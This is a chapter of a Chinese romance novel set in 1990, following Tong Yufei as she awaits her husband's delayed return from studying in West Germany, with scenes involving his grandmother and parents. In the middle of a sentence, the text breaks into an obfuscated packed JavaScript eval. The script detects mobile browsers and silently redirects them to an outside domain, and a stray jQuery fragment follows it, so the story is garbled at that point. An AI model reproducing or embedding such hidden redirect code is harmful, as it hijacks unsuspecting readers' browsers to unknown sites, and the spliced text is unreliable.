九零年元旦前夕，佟语非接到了丈夫莫道言从西德打来的越洋电话，他即将在两周后回国，届时会从法兰克福飞香港转机抵京，自北京乘火车到西城。
八五年，他们结婚的同年，国家发布留学方针，支持留学，鼓励回国，来去自由，并取消了自费出国留学资格审核，自费出国潮随之迅速升温，莫道言顺应时代召唤，交大本科毕业后，毅然放弃公费留美，自费“洋插队”去了心仪的西德慕尼黑某顶级工业大学的工程与设计学院深造。
按多数情况预计，硕士课程通常需要两到三年,博士项目三到六年，异国留学生多了语言和环境适应等因素，周期还要长上一两年，纵使他天赋异禀，完成学业起码得六七年，然而仅仅刚迈入第五个年头，他就荣归故里，新身份是德国一家光电器件跨国公司的技术部经理。
元旦节这天是周一，佟语非供职的西城日报社连上单休的礼拜天放假两天，她照例在家做卫生，早饭后搀扶着莫老太太去外面晒太阳，听广播，广播里播放着人民日报在庆祝新年的社论《满怀信心迎接九零年代》：“只要保持稳定,即使是平平稳稳地发展几十年,中国也会发生根本性的变化……”
莫老太太感叹道：“稳了好啊，稳了才能平平安安，过好日子。”
莫老太太不只听广播，还是忠实戏迷，听关肃霜和童芷苓唱戏，关注戏曲评论，早期戏曲报一期不落，老了眼花得厉害，要劳烦孙媳妇或小孙子读给她听，近些天风湿病又犯了，肌肉酸痛的情况有所加重。佟语非读了一会儿戏曲报，停下为莫老太太按腿，莫老太太侧卧在摇椅上，从浅紫色的丝绸褂内衬兜里，拿出一个珊瑚粉的真丝钱袋，塞到佟语非手里：“别只顾我这个老太婆，去添几件新衣裳，马上夫妻团聚了。”
佟语非似笑非笑：“奶奶嫌我是土包子，配不上您的宝贝长孙？”
莫老太太疼孙子，但没顾此失彼：“你是个秀外慧中的姑娘，只是衣服都太素淡了，没看道行房间里贴的那些个外国女人，个个花枝招展，比挂历上的模特还招摇，小言的品行没得说，怕就怕花里胡哨的看多了，乍来水土不服。”
莫道行是莫道言的弟弟，音乐学院乐器表演专业大三学生，主修钢琴，辅修大提琴，房间的墙壁上贴了很多国内外音乐家的海报，唯二两张女性，一张是意大利红极一时的女高音，一张是瑞典流行女歌手。
把她和明星相提并论，佟语非受宠若惊：“奶奶，钱不够呢。”
莫老太太认真问：“还缺多少？柜子里还有你爸妈今年给的祝寿钱，我去取。”
佟语非把钱还回去：“缺得多了，只有衣服还不行，我得去娘娘山的神仙庙求一求，求个能易容的神仙下凡相助才成。”
莫老太太戳着佟语非的脑门笑：“哪有自个贬自个的？你要需易容，他能日思夜想得这么快回来？”
莫老太太把她说成莫道言回国的动因，实属抬举她了，老太太年事已高，贵人多忘事，可她是当事人，万不会没有自知之明。她和莫道言从认识到结婚，只见了三次面，一次相亲，一次订婚，一次领证和办婚礼酒席，间隔一个半月，婚后第二天他就走了，满打满算，共处加起来不到三天。莫道言留学期间，偶尔来过信，平素惜字如金，信写得很简略，三言两语报喜不报忧地讲完近况，余下的篇幅是统一的问候，除去莫老太太，她和公公婆婆小叔子都是“祝好，勿念”里的省略主语，并无特别之处。
只有一次，莫道言单独写了她，在他出国的第二年春天，往信里夹塞外币马克的初次，他漂洋过海自费留德，国家没有补贴，父母给了第一学期的经费，承诺会接续供给，被他婉拒，他言明自讨苦吃的留学路，不能拉着一家人共沉沦，既已结婚，理当扛起养家糊口的担子，妻子佟语非工资微薄，给家里出了生活费会所剩无几，因而设法解决了自用的开销后，包圆了她那份钱，尽莫莫家不缺佟语非的口粮，用他的话说，亲情是亲情，规矩是规矩。
他在信中的末尾写道：“佟小姐初来乍到，请各位多加体谅与照顾。”
这句话被莫老太太当作莫道言惦念佟语非的证据，佟语非却不敢当，称呼里都隐不住的生疏，哪儿来的念？她羞于承认莫道言对她的惦念，但对她尊严的维护是承认的，莫道言秉节持重，可到底刚满二十岁，留学生挣钱的门路无外乎勤工俭学，艰苦不言而喻，她并非不通人情世故，奈何几十块钱的工资捉襟见肘，容不得亮明气节，只能做些力所能及的琐事。
莫母孟如卿是市委宣传部代理副部长，分管文艺科与新闻对外宣传科，平日雷厉风行，巾帼不让须眉，可儿行千里母担忧，看到莫道言寄来的那些钱，再硬的一颗心也软了，旁若无人地红了眼圈：“小言素来好强，不管受多大的罪，都打碎了牙齿往肚里咽，在家有家人，在外有谁疼？”
莫父莫长林是红联机械厂的厂长，崇尚“天将降大任于斯人也,必先苦其心志,劳其筋骨”的朴素成才理论，但嘴硬心软，这边叨叨着男子汉大丈夫，就得吃苦耐劳自强不息，有担当能扛事，比上山下乡那阵，儿子还是赶上好时候了，那边转头找了海外的朋友去探底，向妻子承诺：“他要真到了吃不饱穿不暖的田地，我这个当老子的，砸锅卖铁都要飞过去，把人完完整整给你带回来。”
朋友不辱使命，很快探底凯旋，转告莫长林，是金子放在哪里都闪光，莫道言是导师门下的宠儿，不但做了助教，还被推荐到校办工厂兼职，奖学金外多了两份额外收入，比将课余时间都搭在中国餐馆洗碗池中的其他留学生好上百倍。
莫长林难掩骄傲的神色：“算个男人，没给老子丢脸。”
莫道言寄来的钱越来越多，信越写越短，逐渐没有信只有钱了，莫老太太翻来覆去地看以前的信，叹息莫道言走那么久，照片都不寄一张，高矮胖瘦都不晓得，催着佟语非去照相馆照相，给莫道言回信交换照片。
佟语非架不住奶奶的三请四催，去照了相，不确定莫道言想在繁忙的学业里看到她，就没塞照片只写了信，信中转述了奶奶对他的思念，委婉地向他索要了照片。在莫道言后次寄回的马克币中，有了张在柏林墙前的单人照，照片取的远景，他白衣黑裤，侧着脸仰望着西柏林勃兰登堡大门，玉树临风的身姿与苍凉恢弘的历史遗迹相得益彰。
依然没有信，没有只言片语。
莫老太太拿着孙子没露正脸的照片爱不释手：“我们小言潇洒得很哟。”
周二上班时，佟语非向校对一组的组长欣姐打了假条，事由填的是“要紧家事”，她
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15819098|175458||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
入职校对岗以来，风里来雨里去，从未有过无故旷工，欣姐信得过她，爽快地批了假，下班后，她去百货大楼买了件毛呢大衣和一双北京百花牌的皮鞋，颜色是莫老太太钟爱的水粉色。
莫老太太姓徐，祖上以清政府的高级将领发家，做过旧时代纺织实业大王的千金小姐，父亲在抗日运动中慷慨解囊捐钱捐物，是“民族的光辉”，她荣升光辉的女儿，与一位红军将领结为秦晋之好。解放后全国部队整编，孩子们随着父亲部队信息的变动，成了根正苗红的四野子弟，个顶个的成器，大儿子是管着几千人饭碗的大厂长，女儿是师范大学历史教授，小儿子牺牲在反击战前线，是保家卫国的烈士，老太太大半生都被亲人庇护在羽翼下，在多事之秋的年月都未受侵扰。
水粉色和永葆少女心的莫老太太，完美适配。
孟如卿看到她买的衣服和鞋子，会心而笑：“你素来讨人喜欢，人贵有恒。”
有恒能用于很多有意义的事情，用于讨人欢心不免有些讥刺，却是她赖以生存之道，她乖顺地对婆婆笑：“道言求学辛劳，等他回来了，我会好好照顾他。”
孟如卿常年被各路新文化思潮熏陶，绝非守旧的封建家长：“他有他的辛劳，你有你的不易，夫妻要互相扶持。”
莫道言回国那天是周四，公婆位居要职，工作重要性毋庸赘述，莫道行要备战期末考试，于情于理，去火车站接莫道言的任务都该由她负责。四年多不见，她对莫道言的印象还停留在从前，为免相逢对面不相识，她做了块白色纸板，用小楷在纸板上写了莫道言的名字，继而找出他的一些旧照，试图将他的样子印在脑中。
莫道言不爱拍照，成年后只有集体照和证件照，相对较新的是申请留学时，拍的二寸黑白照，面庞方正，俊逸清朗，目光微微下挑，分明的棱角透着些许的疏离。
佟语非描摸着那双深邃的眼睛想，她现在对于他，大概也是完全的陌生人了。
周四下午，她穿上新衣新鞋，来到火车站，在人山人海的出站口举着纸板，从两点举到了五点，直到两列从北京来的火车，上下旅客完毕，一列返回机务段检修，一列以另一班次发往重庆，才打道回府，她猜测两人可能走岔了。
在小区楼下，她遇到了迈着小快步来寻她的保姆林姨，对方说莫道言又来了电话，几天前慕尼黑突遭暴风雪，城市大面积停电，机场和火车站等交通枢纽都关闭了，今日刚恢复供电和通讯，天气恶劣，归期不得不延后。
林姨怕她失落，安慰她道：“好事多磨，等积雪融化，道言一定会飞来的，血气方刚的男青年，哪有不想老婆的？”
佟语非隐隐松了口气，嫣然而笑：“不急的，安全第一。”
莫道言未能如期回国，事情暂告一段落，佟语非却未如愿回到安定的生活轨迹，一波未平一波又起，她和同事们在如火如荼地校对着宣传稳定发展的稿件时，来城里办事的二叔佟建国，捎来了父亲佟建忠的口信，有要事急盼她回家一趟，共商对策。
佟语非问：“叔，您知道家里出了什么事吗？”
佟建国挠挠头：“你知道你爹的，面子看得比命都重，不想说的，上老虎凳辣椒水都没辙，不过有段日子没见佟意那小子了，不会又是他吧？”